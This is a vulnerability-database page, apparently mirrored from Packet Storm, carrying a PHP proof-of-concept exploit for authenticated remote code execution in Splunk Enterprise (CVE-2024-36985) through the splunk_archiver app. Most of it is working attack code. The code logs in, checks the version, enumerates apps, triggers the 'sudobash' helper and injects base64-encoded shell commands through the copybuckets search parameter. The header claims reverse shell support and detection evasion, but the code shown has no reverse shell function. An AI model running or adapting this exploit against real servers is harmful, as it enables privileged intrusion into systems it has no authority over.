Lucene search
K

📄 Splunk Enterprise 9.1.5 / 9.2.2 Remote Code Execution

🗓️ 09 Mar 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 124 Views

PoC exploit for authenticated remote code execution in Splunk using splunk_archiver (CVE-2024-36985).

Related
Code
=============================================================================================================================================
    | # Title     : Splunk Enterprise 9.1.5 9.2.2 via splunk_archiver Authenticated Remote Code Execution                                       |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://www.splunk.com/                                                                                                     |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/214134/ & CVE-2024-36985
    
    [+] Summary    : This PHP script is a proof-of-concept exploit for CVE-2024-36985, an authenticated Remote Code Execution (RCE) vulnerability affecting Splunk instances where the splunk_archiver app is installed and enabled.
                     It is a conversion of a Metasploit module into PHP.
    
    [+] High-level behavior:
    
    Authenticates to a Splunk web interface using valid credentials.
    
    Determines the running Splunk version and checks whether it falls within known vulnerable ranges.
    
    Enumerates installed Splunk apps and verifies that splunk_archiver is present and enabled.
    
    [+] Uses Splunk search commands (archivebuckets and copybuckets) to:
    
    Trigger the creation of a privileged helper binary (sudobash).
    
    Abuse JSON-based parameters to inject environment variables and execute arbitrary system commands.
    
    [+] Supports:
    
    Arbitrary command execution
    
    Multiple reverse shell payload attempts
    
    Randomization is used in environment variable names and providers to evade simple detection.
    
    [+] Key components:
    
    splunkLogin() – Handles CSRF token extraction and authenticated login.
    
    checkVersion() – Identifies the Splunk version via API or UI parsing.
    
    getApps() – Enumerates installed and enabled Splunk applications.
    
    check() – Verifies vulnerability conditions (version + app presence).
    
    exploit() – Coordinates the full exploitation flow.
    
    executeCommand() – Executes a single system command.
    
    getReverseShell() – Attempts several reverse shell payloads.
    
    [+] Impact:
    
    An authenticated attacker can achieve remote code execution with elevated privileges on vulnerable Splunk servers.
    
    
    [+] POC: php poc.php
    
    <?php
    /**
     * CVE-2024-36985 - Splunk Authenticated RCE
     * By indoushka
     */
    
    class SplunkRCEExploit {
    
        private $target;
        private $username;
        private $password;
        private $splunkHome;
        private $createSudobash;
        private $delay;
        private $cookie;
        private $targetApp;
    
        public function __construct($config = []) {
            $this->target = rtrim($config['target'] ?? 'http://localhost:8000', '/');
            $this->username = $config['username'] ?? 'admin';
            $this->password = $config['password'] ?? '';
            $this->splunkHome = rtrim($config['splunk_home'] ?? '/opt/splunk/', '/');
            $this->createSudobash = $config['create_sudobash'] ?? true;
            $this->delay = (int)($config['delay'] ?? 3);
            $this->cookie = null;
        }
    
    
        private function httpRequest($url, $method = 'GET', $data = null, $headers = []) {
    
            $ch = curl_init();
    
            $opts = [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_HEADER => true,                
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_FOLLOWLOCATION => false,
                CURLOPT_TIMEOUT => 30,
            ];
    
            if ($method === 'POST') {
                $opts[CURLOPT_POST] = true;
                if ($data !== null) {
                    $opts[CURLOPT_POSTFIELDS] = $data;
                }
            }
    
            if (!empty($headers)) {
                $opts[CURLOPT_HTTPHEADER] = $headers;
            }
    
            if ($this->cookie) {
                $opts[CURLOPT_COOKIE] = $this->cookie;
            }
    
            curl_setopt_array($ch, $opts);
    
            $response = curl_exec($ch);
            if ($response === false) {
                throw new Exception('CURL error: ' . curl_error($ch));
            }
    
            $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
            $httpCode   = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
            $rawHeaders = substr($response, 0, $headerSize);
            $body       = substr($response, $headerSize);
    
            curl_close($ch);
    
            return [
                'code'    => $httpCode,
                'headers' => $rawHeaders,
                'body'    => $body
            ];
        }
    
        public function splunkLogin() {
    
            $loginUrl = $this->target . '/en-US/account/login';
    
            $res = $this->httpRequest($loginUrl);
    
            preg_match('/name="csrf_token"\s+value="([^"]+)"/i', $res['body'], $m);
            $csrf = $m[1] ?? null;
            if (!$csrf) {
                return null;
            }
    
            $post = http_build_query([
                'username'   => $this->username,
                'password'   => $this->password,
                'csrf_token' => $csrf,
                'return_to'  => '/en-US/'
            ]);
    
            $headers = [
                'Content-Type: application/x-www-form-urlencoded',
                'Referer: ' . $loginUrl
            ];
    
            $res = $this->httpRequest($loginUrl, 'POST', $post, $headers);
    
            preg_match_all('/^Set-Cookie:\s*([^;\r\n]+)/mi', $res['headers'], $m);
            if (!empty($m[1])) {
                $this->cookie = implode('; ', $m[1]);
                return $this->cookie;
            }
    
            return null;
        }
    
     
        public function checkVersion() {
    
            $url = $this->target . '/en-US/splunkd/__raw/services/server/info';
            $res = $this->httpRequest($url, 'GET', null, ['Accept: application/json']);
    
            if ($res['code'] === 200) {
                $j = json_decode($res['body'], true);
                return $j['entry'][0]['content']['version'] ?? null;
            }
    
            $res = $this->httpRequest($this->target . '/en-US/app/launcher/home');
            preg_match('/Splunk&reg;\s+(\d+\.\d+\.\d+)/', $res['body'], $m);
            return $m[1] ?? null;
        }
    
    
        public function getApps() {
    
            $url = $this->target . '/en-US/splunkd/__raw/services/apps/local';
            $res = $this->httpRequest($url, 'GET', null, ['Accept: application/json']);
    
            $apps = [];
            if ($res['code'] === 200) {
                $j = json_decode($res['body'], true);
                foreach ($j['entry'] ?? [] as $e) {
                    $apps[$e['name']] = [
                        'enabled' => !$e['content']['disabled']
                    ];
                }
            }
            return $apps;
        }
    
        private function normalizePath($p) {
            return preg_replace('#/+#', '/', $p);
        }
    
        private function randomString($min = 8, $max = 16, $upper = false) {
            $len = rand($min, $max);
            $chars = $upper ? 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' : 'abcdefghijklmnopqrstuvwxyz0123456789';
            $s = '';
            for ($i = 0; $i < $len; $i++) {
                $s .= $chars[rand(0, strlen($chars) - 1)];
            }
            return $s;
        }
    
        private function getJsonPayload($payload) {
    
            $env = $this->randomString(8, 16, true);
            $prov = $this->randomString();
    
            $data = [
                'vixes' => (object)[],
                'providers' => [
                    $prov => [
                        'command.arg.1' => $this->normalizePath(
                            $this->splunkHome . '/etc/apps/splunk_archiver/java-bin/jars/sudobash'
                        ),
                        'command.arg.2' => "-c \${$env}",
                        "env.$env" => $payload
                    ]
                ]
            ];
    
            return json_encode(json_encode($data));
        }
    
        private function executeSearch($app, $query) {
    
            $url = $this->target . '/en-US/app/' . urlencode($app) . '/search';
    
            $post = http_build_query([
                'search' => $query,
                'earliest_time' => '-1h',
                'latest_time' => 'now'
            ]);
    
            return $this->httpRequest(
                $url,
                'POST',
                $post,
                [
                    'Content-Type: application/x-www-form-urlencoded',
                    'Referer: ' . $url
                ]
            );
        }
    
        private function getRandomApp() {
    
            $apps = $this->getApps();
            $list = [];
    
            foreach ($apps as $n => $i) {
                if ($i['enabled']) {
                    $list[] = $n;
                }
            }
    
            if (!$list) {
                throw new Exception('No enabled apps');
            }
    
            return $list[array_rand($list)];
        }
    
        public function createSudobash() {
            echo "[*] Triggering sudobash creation...\n";
            $this->executeSearch($this->targetApp, '| archivebuckets forcerun=1');
            echo "[+] Trigger sent (async)\n";
        }
    
        public function triggerExploit($payload) {
    
            $json = $this->getJsonPayload($payload);
            $query = "| copybuckets json={$json}";
            $res = $this->executeSearch($this->targetApp, $query);
    
            return ($res['code'] === 200);
        }
    
        public function check() {
    
            if (!$this->splunkLogin()) {
                return false;
            }
    
            $v = $this->checkVersion();
            if (!$v) return false;
    
            [$M,$m,$p] = array_map('intval', explode('.', $v));
    
            if ($M !== 9) return false;
            if ($m === 0 && $p < 10) return true;
            if ($m === 1 && $p >= 2 && $p <= 5) return true;
            if ($m === 2 && $p <= 2) return true;
    
            return false;
        }
    
        public function exploit($payload) {
    
            if (!$this->check()) return false;
    
            $this->targetApp = $this->getRandomApp();
    
            if ($this->createSudobash) {
                $this->createSudobash();
            }
    
            return $this->triggerExploit($payload);
        }
    
        public function executeCommand($cmd) {
    
            $b64 = base64_encode($cmd);
            return $this->exploit("echo $b64 | base64 -d | sh");
        }
    }
    
    
    if (php_sapi_name() === 'cli') {
    
        $exp = new SplunkRCEExploit([
            'target' => 'http://192.168.1.100:8000',
            'username' => 'admin',
            'password' => 'password123'
        ]);
    
        // $exp->executeCommand('id');
    }
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Mar 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.18.8
EPSS0.46868
SSVC
124